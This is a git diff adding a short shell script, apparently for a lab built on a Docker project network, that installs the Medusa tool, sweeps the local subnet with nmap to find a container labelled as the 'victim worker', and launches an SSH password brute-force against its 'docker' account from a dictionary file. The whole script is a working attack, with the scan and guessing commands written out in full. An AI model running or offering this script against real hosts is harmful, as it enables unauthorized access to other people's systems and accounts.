diff --git a/SSH_brute_force/ssh_medusa.sh b/SSH_brute_force/ssh_medusa.sh new file mode 100644 index 0000000..a196289 --- /dev/null +++ b/SSH_brute_force/ssh_medusa.sh @@ -0,0 +1,8 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install medusa -y +echo "Finding victim worker IP" +netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/') +worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()') +echo "Starting ssh brute force attack with medusa" +medusa -u docker -P dictionary.txt -h $worker1 -M ssh \ No newline at end of file